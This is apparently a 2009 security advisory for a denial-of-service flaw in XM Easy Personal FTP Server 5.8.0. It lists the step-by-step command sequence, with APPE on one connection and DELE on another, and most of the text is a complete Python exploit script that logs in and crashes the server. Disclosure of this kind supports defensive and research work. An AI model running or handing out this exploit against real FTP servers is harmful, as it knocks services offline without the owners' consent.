Date of Discovery: 13-Nov-2009 Credits:zhangmc[at]mail.ustc.edu.cn Vendor: Dxmsoft Affected: XM Easy Personal FTP Server 5.8.0 Earlier versions may also be affected Overview: XM Easy Personal FTP Server is an easy use FTP server Application. Denial of service vulnerability exists in XM Personal FTP Server when "APPE" is used in one socket connection while "DELE" command is used in another. Details: If you could log on the server successfully, take the following steps and the ftp server will stop responding: first socket connection: 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("PORT 127,0,0,1,122,107\r\n") 5.sock.send("APPE "+ test_string +"\r\n") 6.sock.close() second socket connection: 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("DELE "+ test_string +"\r\n") Severity: High Exploit example: #!/usr/bin/python import socket import sys def Usage(): print ("Usage: ./expl.py <serv_ip> <Username> <password>\n") print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n") if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] test_string="a" sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("Connection error!") sys.exit(1) r=sock.recv(1024) print "[+] "+ r sock.send("user %s\r\n" %username) print "[-] "+ ("user %s\r\n" %username) r=sock.recv(1024) print "[+] "+ r sock.send("pass %s\r\n" %passwd) print "[-] "+ ("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] "+ r sock_data.bind(('127.0.0.1',31339)) sock_data.listen(1) sock.send("PORT 127,0,0,1,122,107\r\n") print "[-] "+ ("PORT 127,0,0,1,122,107\r\n") r=sock.recv(1024) print "[+] "+ r sock.send("APPE "+ test_string +"\r\n") print "[-] "+ ("APPE "+ test_string +"\r\n") r=sock.recv(1024) print "[+] "+ r sock.close() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("Connection error!") sys.exit(1) r=sock.recv(1024) print "[+] "+ r sock.send("user %s\r\n" %username) print "[-] "+ ("user %s\r\n" %username) r=sock.recv(1024) print "[+] "+ r sock.send("pass %s\r\n" %passwd) print "[-] "+ ("pass %s\r\n" %passwd) r=sock.recv(1024) print "[+] "+ r sock.send("DELE "+ test_string +"\r\n") print "[-] "+ ("DELE "+ test_string +"\r\n") r=sock.recv(1024) print "[+] "+ r sys.exit(0);